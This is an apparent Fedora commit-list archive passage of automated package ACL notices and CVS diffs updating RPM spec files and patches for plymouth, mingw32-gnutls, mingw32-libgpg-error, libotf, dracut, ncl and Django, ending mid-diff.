  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 21:38:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:38:28 +0000
Subject: [pkgdb] mingw32-libgpg-error had acl change status
Message-ID: <20091009213829.02A4410F8A9@bastion2.fedora.phx.redhat.com>

rjones has set the watchcommits acl on mingw32-libgpg-error (Fedora 11) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 21:38:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:38:30 +0000
Subject: [pkgdb] mingw32-libgpg-error had acl change status
Message-ID: <20091009213830.6E35710F8BC@bastion2.fedora.phx.redhat.com>

rjones has set the commit acl on mingw32-libgpg-error (Fedora 11) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 21:38:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:38:31 +0000
Subject: [pkgdb] mingw32-libgpg-error had acl change status
Message-ID: <20091009213831.7168210F8C3@bastion2.fedora.phx.redhat.com>

rjones has set the approveacls acl on mingw32-libgpg-error (Fedora 11) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 21:38:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:38:34 +0000
Subject: [pkgdb] mingw32-libgpg-error had acl change status
Message-ID: <20091009213834.229D610F8C1@bastion2.fedora.phx.redhat.com>

rjones has set the watchbugzilla acl on mingw32-libgpg-error (Fedora 12) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 21:38:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:38:35 +0000
Subject: [pkgdb] mingw32-libgpg-error had acl change status
Message-ID: <20091009213835.384FE10F8C4@bastion2.fedora.phx.redhat.com>

rjones has set the watchcommits acl on mingw32-libgpg-error (Fedora 12) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 21:38:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:38:37 +0000
Subject: [pkgdb] mingw32-libgpg-error had acl change status
Message-ID: <20091009213837.1F88A10F8C7@bastion2.fedora.phx.redhat.com>

rjones has set the commit acl on mingw32-libgpg-error (Fedora 12) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From pkgdb at fedoraproject.org  Fri Oct  9 21:38:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 21:38:38 +0000
Subject: [pkgdb] mingw32-libgpg-error had acl change status
Message-ID: <20091009213838.6E1AC10F8CC@bastion2.fedora.phx.redhat.com>

rjones has set the approveacls acl on mingw32-libgpg-error (Fedora 12) to Approved for epienbro

To make changes to this package see:
  /pkgdb/packages/name/mingw32-libgpg-error



From rstrode at fedoraproject.org  Fri Oct  9 21:41:47 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Fri,  9 Oct 2009 21:41:47 +0000 (UTC)
Subject: rpms/plymouth/F-12 fix-details-clear-screen.patch, 1.1,
	1.2 plymouth.spec, 1.156, 1.157
Message-ID: <20091009214147.427B511C00C1@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30373

Modified Files:
	fix-details-clear-screen.patch plymouth.spec 
Log Message:
- Fix frame-buffer fallback plugin
  (broken by details fix in 0.8.0-0.2009.29.09.7)


fix-details-clear-screen.patch:
 b/src/libplybootsplash/ply-renderer.c         |   13 +++++++++++--
 b/src/plugins/renderers/frame-buffer/plugin.c |    9 ++++-----
 src/libplybootsplash/ply-renderer.c           |   12 +++---------
 3 files changed, 18 insertions(+), 16 deletions(-)

Index: fix-details-clear-screen.patch
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/fix-details-clear-screen.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- fix-details-clear-screen.patch	8 Oct 2009 21:49:59 -0000	1.1
+++ fix-details-clear-screen.patch	9 Oct 2009 21:41:46 -0000	1.2
@@ -92,3 +92,57 @@ index 7c6695f..591af2c 100644
 -- 
 1.6.5.rc2
 
+From 5d631743d6b4ef0ab861d9dd83719390af7fdab0 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Fri, 9 Oct 2009 17:38:17 -0400
+Subject: [PATCH] [frame-buffer] initialize head on query not map
+
+That's the "right" thing to do and now that we
+map lazily, doing it the old way is broken.
+---
+ src/plugins/renderers/frame-buffer/plugin.c |    8 ++++----
+ 1 files changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/src/plugins/renderers/frame-buffer/plugin.c b/src/plugins/renderers/frame-buffer/plugin.c
+index 0163daa..ce42eb3 100644
+--- a/src/plugins/renderers/frame-buffer/plugin.c
++++ b/src/plugins/renderers/frame-buffer/plugin.c
+@@ -338,6 +338,8 @@ close_device (ply_renderer_backend_t *backend)
+                                                   (ply_console_active_vt_changed_handler_t)
+                                                   on_active_vt_changed,
+                                                   backend);
++  uninitialize_head (backend, &backend->head);
++
+   close (backend->device_fd);
+   backend->device_fd = -1;
+ 
+@@ -468,6 +470,8 @@ query_device (ply_renderer_backend_t *backend)
+   else
+     backend->flush_area = flush_area_to_any_device;
+ 
++  initialize_head (backend, &backend->head);
++
+   return true;
+ 
+ }
+@@ -489,8 +493,6 @@ map_to_device (ply_renderer_backend_t *backend)
+   if (head->map_address == MAP_FAILED)
+     return false;
+ 
+-  initialize_head (backend, head);
+-
+   ply_console_set_active_vt (backend->console,
+                              ply_terminal_get_vt_number (backend->terminal));
+ 
+@@ -504,8 +506,6 @@ unmap_from_device (ply_renderer_backend_t *backend)
+ 
+   head = &backend->head;
+ 
+-  uninitialize_head (backend, head);
+-
+   if (head->map_address != MAP_FAILED)
+     {
+       munmap (head->map_address, head->size);
+-- 
+1.6.5.rc2
+


Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.156
retrieving revision 1.157
diff -u -p -r1.156 -r1.157
--- plymouth.spec	9 Oct 2009 14:02:17 -0000	1.156
+++ plymouth.spec	9 Oct 2009 21:41:46 -0000	1.157
@@ -6,7 +6,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.8%{?dist}
+Release: 0.2009.29.09.9%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -470,6 +470,10 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Fri Oct 09 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.9
+- Fix frame-buffer fallback plugin
+  (broken by details fix in 0.8.0-0.2009.29.09.7)
+
 * Fri Oct 09 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.8
 - Fix crash in text plugin on shutdown
 



From epienbro at fedoraproject.org  Fri Oct  9 21:44:24 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Fri,  9 Oct 2009 21:44:24 +0000 (UTC)
Subject: rpms/mingw32-gnutls/F-12 mingw32-gnutls.spec,1.2,1.3
Message-ID: <20091009214424.3625311C00C1@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-gnutls/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31940/F-12

Modified Files:
	mingw32-gnutls.spec 
Log Message:
- Use %global instead of %define
- Automatically generate debuginfo subpackage



Index: mingw32-gnutls.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gnutls/F-12/mingw32-gnutls.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- mingw32-gnutls.spec	25 Jul 2009 12:18:49 -0000	1.2
+++ mingw32-gnutls.spec	9 Oct 2009 21:44:24 -0000	1.3
@@ -1,12 +1,13 @@
-%define __strip %{_mingw32_strip}
-%define __objdump %{_mingw32_objdump}
-%define _use_internal_dependency_generator 0
-%define __find_requires %{_mingw32_findrequires}
-%define __find_provides %{_mingw32_findprovides}
+%global __strip %{_mingw32_strip}
+%global __objdump %{_mingw32_objdump}
+%global _use_internal_dependency_generator 0
+%global __find_requires %{_mingw32_findrequires}
+%global __find_provides %{_mingw32_findprovides}
+%define __debug_install_post %{_mingw32_debug_install_post}
 
 Name:           mingw32-gnutls
 Version:        2.6.4
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        MinGW GnuTLS TLS/SSL encryption library
 
 License:        GPLv3+ and LGPLv2+
@@ -55,6 +56,9 @@ GnuTLS TLS/SSL encryption library.  This
 for MinGW.
 
 
+%{_mingw32_debug_package}
+
+
 %prep
 %setup -q -n gnutls-%{version}
 
@@ -130,6 +134,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct  9 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.6.4-3
+- Use %%global instead of %%define
+- Automatically generate debuginfo subpackage
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.6.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From epienbro at fedoraproject.org  Fri Oct  9 21:44:24 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Fri,  9 Oct 2009 21:44:24 +0000 (UTC)
Subject: rpms/mingw32-gnutls/devel mingw32-gnutls.spec,1.2,1.3
Message-ID: <20091009214424.6327811C00C1@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-gnutls/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31940/devel

Modified Files:
	mingw32-gnutls.spec 
Log Message:
- Use %global instead of %define
- Automatically generate debuginfo subpackage



Index: mingw32-gnutls.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-gnutls/devel/mingw32-gnutls.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- mingw32-gnutls.spec	25 Jul 2009 12:18:49 -0000	1.2
+++ mingw32-gnutls.spec	9 Oct 2009 21:44:24 -0000	1.3
@@ -1,12 +1,13 @@
-%define __strip %{_mingw32_strip}
-%define __objdump %{_mingw32_objdump}
-%define _use_internal_dependency_generator 0
-%define __find_requires %{_mingw32_findrequires}
-%define __find_provides %{_mingw32_findprovides}
+%global __strip %{_mingw32_strip}
+%global __objdump %{_mingw32_objdump}
+%global _use_internal_dependency_generator 0
+%global __find_requires %{_mingw32_findrequires}
+%global __find_provides %{_mingw32_findprovides}
+%define __debug_install_post %{_mingw32_debug_install_post}
 
 Name:           mingw32-gnutls
 Version:        2.6.4
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        MinGW GnuTLS TLS/SSL encryption library
 
 License:        GPLv3+ and LGPLv2+
@@ -55,6 +56,9 @@ GnuTLS TLS/SSL encryption library.  This
 for MinGW.
 
 
+%{_mingw32_debug_package}
+
+
 %prep
 %setup -q -n gnutls-%{version}
 
@@ -130,6 +134,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct  9 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 2.6.4-3
+- Use %%global instead of %%define
+- Automatically generate debuginfo subpackage
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.6.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From epienbro at fedoraproject.org  Fri Oct  9 21:49:53 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Fri,  9 Oct 2009 21:49:53 +0000 (UTC)
Subject: rpms/mingw32-libgpg-error/F-12 mingw32-libgpg-error.spec,1.4,1.5
Message-ID: <20091009214953.1691C11C00C1@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-libgpg-error/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1650/F-12

Modified Files:
	mingw32-libgpg-error.spec 
Log Message:
- Use %global instead of %define
- Automatically generate debuginfo subpackage



Index: mingw32-libgpg-error.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-libgpg-error/F-12/mingw32-libgpg-error.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- mingw32-libgpg-error.spec	25 Jul 2009 12:21:32 -0000	1.4
+++ mingw32-libgpg-error.spec	9 Oct 2009 21:49:52 -0000	1.5
@@ -1,12 +1,13 @@
-%define __strip %{_mingw32_strip}
-%define __objdump %{_mingw32_objdump}
-%define _use_internal_dependency_generator 0
-%define __find_requires %{_mingw32_findrequires}
-%define __find_provides %{_mingw32_findprovides}
+%global __strip %{_mingw32_strip}
+%global __objdump %{_mingw32_objdump}
+%global _use_internal_dependency_generator 0
+%global __find_requires %{_mingw32_findrequires}
+%global __find_provides %{_mingw32_findprovides}
+%define __debug_install_post %{_mingw32_debug_install_post}
 
 Name:           mingw32-libgpg-error
 Version:        1.6
-Release:        12%{?dist}
+Release:        13%{?dist}
 Summary:        MinGW Windows GnuPGP error library
 
 License:        LGPLv2+
@@ -32,6 +33,9 @@ BuildRequires:  gettext
 MinGW Windows GnuPGP error library.
 
 
+%{_mingw32_debug_package}
+
+
 %prep
 %setup -q -n libgpg-error-%{version}
 
@@ -65,7 +69,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_mingw32_datadir}/aclocal/gpg-error.m4
 %{_mingw32_datadir}/common-lisp/source/gpg-error/*
 
+
 %changelog
+* Fri Oct  9 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 1.6-13
+- Use %%global instead of %%define
+- Automatically generate debuginfo subpackage
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6-12
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From epienbro at fedoraproject.org  Fri Oct  9 21:49:53 2009
From: epienbro at fedoraproject.org (epienbro)
Date: Fri,  9 Oct 2009 21:49:53 +0000 (UTC)
Subject: rpms/mingw32-libgpg-error/devel mingw32-libgpg-error.spec,1.4,1.5
Message-ID: <20091009214953.40BF011C00C1@cvs1.fedora.phx.redhat.com>

Author: epienbro

Update of /cvs/pkgs/rpms/mingw32-libgpg-error/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1650/devel

Modified Files:
	mingw32-libgpg-error.spec 
Log Message:
- Use %global instead of %define
- Automatically generate debuginfo subpackage



Index: mingw32-libgpg-error.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mingw32-libgpg-error/devel/mingw32-libgpg-error.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- mingw32-libgpg-error.spec	25 Jul 2009 12:21:32 -0000	1.4
+++ mingw32-libgpg-error.spec	9 Oct 2009 21:49:53 -0000	1.5
@@ -1,12 +1,13 @@
-%define __strip %{_mingw32_strip}
-%define __objdump %{_mingw32_objdump}
-%define _use_internal_dependency_generator 0
-%define __find_requires %{_mingw32_findrequires}
-%define __find_provides %{_mingw32_findprovides}
+%global __strip %{_mingw32_strip}
+%global __objdump %{_mingw32_objdump}
+%global _use_internal_dependency_generator 0
+%global __find_requires %{_mingw32_findrequires}
+%global __find_provides %{_mingw32_findprovides}
+%define __debug_install_post %{_mingw32_debug_install_post}
 
 Name:           mingw32-libgpg-error
 Version:        1.6
-Release:        12%{?dist}
+Release:        13%{?dist}
 Summary:        MinGW Windows GnuPGP error library
 
 License:        LGPLv2+
@@ -32,6 +33,9 @@ BuildRequires:  gettext
 MinGW Windows GnuPGP error library.
 
 
+%{_mingw32_debug_package}
+
+
 %prep
 %setup -q -n libgpg-error-%{version}
 
@@ -65,7 +69,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_mingw32_datadir}/aclocal/gpg-error.m4
 %{_mingw32_datadir}/common-lisp/source/gpg-error/*
 
+
 %changelog
+* Fri Oct  9 2009 Erik van Pienbroek <epienbro at fedoraproject.org> - 1.6-13
+- Use %%global instead of %%define
+- Automatically generate debuginfo subpackage
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.6-12
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From orion at fedoraproject.org  Fri Oct  9 23:17:13 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri,  9 Oct 2009 23:17:13 +0000 (UTC)
Subject: rpms/ncl/F-11 .cvsignore,1.3,1.4
Message-ID: <20091009231713.AA9E511C00C1@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/ncl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9940

Modified Files:
	.cvsignore 
Log Message:
Update .cvsignore to current tarball


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ncl/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	10 Mar 2009 14:52:17 -0000	1.3
+++ .cvsignore	9 Oct 2009 23:17:12 -0000	1.4
@@ -1 +1 @@
-ncl_ncarg_src-5.1.0.tar.gz
+ncl_ncarg_src-5.1.1.tar.gz



From nbecker at fedoraproject.org  Sat Oct 10 00:04:06 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 10 Oct 2009 00:04:06 +0000 (UTC)
Subject: rpms/libotf/devel libotf.spec,1.6,1.7
Message-ID: <20091010000406.AC8F611C00C1@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/extras/rpms/libotf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28988

Modified Files:
	libotf.spec 
Log Message:
Fix multilib conflicts in devel packages



Index: libotf.spec
===================================================================
RCS file: /cvs/extras/rpms/libotf/devel/libotf.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- libotf.spec	25 Aug 2009 12:01:37 -0000	1.6
+++ libotf.spec	10 Oct 2009 00:04:06 -0000	1.7
@@ -1,6 +1,6 @@
 Name:		libotf
 Version:	0.9.9
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	A Library for handling OpenType Font
 
 Group:		System Environment/Libraries
@@ -49,7 +49,8 @@ make install DESTDIR=$RPM_BUILD_ROOT INS
 find $RPM_BUILD_ROOT -name '*.la' -exec rm -f {} ';'
 for file in $RPM_BUILD_ROOT/usr/bin/*; do chrpath -d $file || true; done
 
-(cd example && make clean && rm -rf .deps)
+(cd example && make clean && rm -rf .deps && rm Makefile)
+rm $RPM_BUILD_ROOT/usr/bin/libotf-config
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -75,9 +76,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/*
 %{_libdir}/*.so
 %{_libdir}/pkgconfig/*
-%{_bindir}/libotf-config
 
 %changelog
+* Fri Oct  9 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-2
+- Remove libotf-config (just just pkg-config instead)
+- Remove example/Makefile to fix multilib conflict
+
 * Tue Aug 25 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-1
 - Update to 0.9.9
 



From nbecker at fedoraproject.org  Sat Oct 10 00:06:09 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 10 Oct 2009 00:06:09 +0000 (UTC)
Subject: rpms/libotf/F-11 libotf.spec,1.4,1.5
Message-ID: <20091010000609.6930511C00C1@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/extras/rpms/libotf/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29928

Modified Files:
	libotf.spec 
Log Message:
fix multilib issues


Index: libotf.spec
===================================================================
RCS file: /cvs/extras/rpms/libotf/F-11/libotf.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- libotf.spec	25 Aug 2009 12:05:38 -0000	1.4
+++ libotf.spec	10 Oct 2009 00:06:09 -0000	1.5
@@ -1,6 +1,6 @@
 Name:		libotf
 Version:	0.9.9
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	A Library for handling OpenType Font
 
 Group:		System Environment/Libraries
@@ -49,7 +49,8 @@ make install DESTDIR=$RPM_BUILD_ROOT INS
 find $RPM_BUILD_ROOT -name '*.la' -exec rm -f {} ';'
 for file in $RPM_BUILD_ROOT/usr/bin/*; do chrpath -d $file || true; done
 
-(cd example && make clean && rm -rf .deps)
+(cd example && make clean && rm -rf .deps && rm Makefile)
+rm $RPM_BUILD_ROOT/usr/bin/libotf-config
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -75,9 +76,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/*
 %{_libdir}/*.so
 %{_libdir}/pkgconfig/*
-%{_bindir}/libotf-config
 
 %changelog
+* Fri Oct  9 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-2
+- Remove libotf-config (just just pkg-config instead)
+- Remove example/Makefile to fix multilib conflict
+
 * Tue Aug 25 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-1
 - Update to 0.9.9
 



From jkeating at fedoraproject.org  Sat Oct 10 00:11:27 2009
From: jkeating at fedoraproject.org (Jesse Keating)
Date: Sat, 10 Oct 2009 00:11:27 +0000 (UTC)
Subject: rpms/dracut/F-12 dracut.spec,1.41,1.42
Message-ID: <20091010001127.C165611C00C1@cvs1.fedora.phx.redhat.com>

Author: jkeating

Update of /cvs/pkgs/rpms/dracut/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv634

Modified Files:
	dracut.spec 
Log Message:
* Fri Oct 09 2009 Jesse Keating <jkeating at redhat.com> - 002-13.4
- Requires(pre) on plymouth to ensure plymouth is installed before kernel



Index: dracut.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/F-12/dracut.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- dracut.spec	9 Oct 2009 12:16:32 -0000	1.41
+++ dracut.spec	10 Oct 2009 00:11:27 -0000	1.42
@@ -14,7 +14,7 @@
 
 Name: dracut
 Version: 002
-Release: 13.3%{?rdist}
+Release: 13.4%{?rdist}
 Summary: Initramfs generator using udev
 Group: System Environment/Base		
 License: GPLv2+	
@@ -46,7 +46,8 @@ Requires: fileutils, gzip, tar
 Requires: lvm2 >= 2.02.33-9, dhclient
 Requires: filesystem >= 2.1.0, cpio, device-mapper, initscripts >= 8.63-1
 Requires: e2fsprogs >= 1.38-12, libselinux, libsepol, coreutils
-Requires: mdadm, elfutils-libelf, plymouth >= 0.7.0
+Requires: mdadm, elfutils-libelf
+Requires(pre): plymouth >= 0.7.0
 Requires: cryptsetup-luks
 Requires: file
 Requires: bzip2
@@ -196,6 +197,9 @@ rm -rf $RPM_BUILD_ROOT
 %dir /var/lib/dracut/overlay
 
 %changelog
+* Fri Oct 09 2009 Jesse Keating <jkeating at redhat.com> - 002-13.4
+- Requires(pre) on plymouth to ensure plymouth is installed before kernel
+
 * Fri Oct 09 2009 Harald Hoyer <harald at redhat.com> 002-13.3
 - removed one wildcard of libdmraid-events-isw.so install
 



From nbecker at fedoraproject.org  Sat Oct 10 00:13:36 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 10 Oct 2009 00:13:36 +0000 (UTC)
Subject: rpms/libotf/F-10 libotf.spec,1.3,1.4
Message-ID: <20091010001336.6193F11C00C1@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/extras/rpms/libotf/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1476

Modified Files:
	libotf.spec 
Log Message:
fix multilib issues


Index: libotf.spec
===================================================================
RCS file: /cvs/extras/rpms/libotf/F-10/libotf.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- libotf.spec	25 Aug 2009 12:13:07 -0000	1.3
+++ libotf.spec	10 Oct 2009 00:13:36 -0000	1.4
@@ -1,6 +1,6 @@
 Name:		libotf
 Version:	0.9.9
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	A Library for handling OpenType Font
 
 Group:		System Environment/Libraries
@@ -49,7 +49,8 @@ make install DESTDIR=$RPM_BUILD_ROOT INS
 find $RPM_BUILD_ROOT -name '*.la' -exec rm -f {} ';'
 for file in $RPM_BUILD_ROOT/usr/bin/*; do chrpath -d $file || true; done
 
-(cd example && make clean && rm -rf .deps)
+(cd example && make clean && rm -rf .deps && rm Makefile)
+rm $RPM_BUILD_ROOT/usr/bin/libotf-config
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -75,9 +76,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/*
 %{_libdir}/*.so
 %{_libdir}/pkgconfig/*
-%{_bindir}/libotf-config
 
 %changelog
+* Fri Oct  9 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-2
+- Remove libotf-config (just just pkg-config instead)
+- Remove example/Makefile to fix multilib conflict
+
 * Tue Aug 25 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-1
 - Update to 0.9.9
 



From jkeating at fedoraproject.org  Sat Oct 10 00:20:47 2009
From: jkeating at fedoraproject.org (Jesse Keating)
Date: Sat, 10 Oct 2009 00:20:47 +0000 (UTC)
Subject: rpms/dracut/devel dracut.spec,1.38,1.39
Message-ID: <20091010002047.256AF11C029B@cvs1.fedora.phx.redhat.com>

Author: jkeating

Update of /cvs/pkgs/rpms/dracut/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4530

Modified Files:
	dracut.spec 
Log Message:
* Fri Oct 09 2009 Jesse Keating <jkeating at redhat.com> - 002-16
- Upgrade plymouth to Requires(pre) to make it show up before kernel



Index: dracut.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/devel/dracut.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- dracut.spec	8 Oct 2009 16:22:48 -0000	1.38
+++ dracut.spec	10 Oct 2009 00:20:46 -0000	1.39
@@ -14,7 +14,7 @@
 
 Name: dracut
 Version: 002
-Release: 15%{?rdist}
+Release: 16%{?rdist}
 Summary: Initramfs generator using udev
 Group: System Environment/Base		
 License: GPLv2+	
@@ -39,13 +39,14 @@ Requires: fileutils, gzip, tar
 Requires: lvm2 >= 2.02.33-9, dhclient
 Requires: filesystem >= 2.1.0, cpio, device-mapper, initscripts >= 8.63-1
 Requires: e2fsprogs >= 1.38-12, libselinux, libsepol, coreutils
-Requires: mdadm, elfutils-libelf, plymouth >= 0.7.0
+Requires: mdadm, elfutils-libelf
 Requires: cryptsetup-luks
 Requires: file
 Requires: bzip2
 Requires: dmraid
 Requires: kbd
 Requires: plymouth-scripts
+Requires(pre): plymouth >= 0.7.0
 
 %if ! 0%{?with_switch_root}
 Requires: util-linux-ng >= 2.16
@@ -187,6 +188,9 @@ rm -rf $RPM_BUILD_ROOT
 %dir /var/lib/dracut/overlay
 
 %changelog
+* Fri Oct 09 2009 Jesse Keating <jkeating at redhat.com> - 002-16
+- Upgrade plymouth to Requires(pre) to make it show up before kernel
+
 * Thu Oct 08 2009 Harald Hoyer <harald at redhat.com> 002-15
 - s390 ccw: s/layer1/layer2/g
 



From smilner at fedoraproject.org  Sat Oct 10 00:52:11 2009
From: smilner at fedoraproject.org (smilner)
Date: Sat, 10 Oct 2009 00:52:11 +0000 (UTC)
Subject: rpms/Django/devel .cvsignore, 1.13,
	1.14 Django-ignore-pyo-bz-495046.patch, 1.1, 1.2 Django.spec,
	1.29, 1.30 sources, 1.13, 1.14
Message-ID: <20091010005212.2D1B611C00C1@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/Django/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17333

Modified Files:
	.cvsignore Django-ignore-pyo-bz-495046.patch Django.spec 
	sources 
Log Message:
proposed update for fix for http://www.djangoproject.com/weblog/2009/oct/09/security/


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Django/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	2 Aug 2009 00:35:26 -0000	1.13
+++ .cvsignore	10 Oct 2009 00:52:08 -0000	1.14
@@ -1,3 +1,2 @@
-Django-1.1.tar.gz
-Django-ignore-pyo-bz-495046.patch
 simplejson-init.py
+Django-1.1.1.tar.gz

Django-ignore-pyo-bz-495046.patch:
 base.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: Django-ignore-pyo-bz-495046.patch
===================================================================
RCS file: /cvs/pkgs/rpms/Django/devel/Django-ignore-pyo-bz-495046.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Django-ignore-pyo-bz-495046.patch	2 Aug 2009 00:35:26 -0000	1.1
+++ Django-ignore-pyo-bz-495046.patch	10 Oct 2009 00:52:09 -0000	1.2
@@ -1,6 +1,6 @@
-diff -ur Django-1.1.old/django/core/management/base.py Django-1.1/django/core/management/base.py
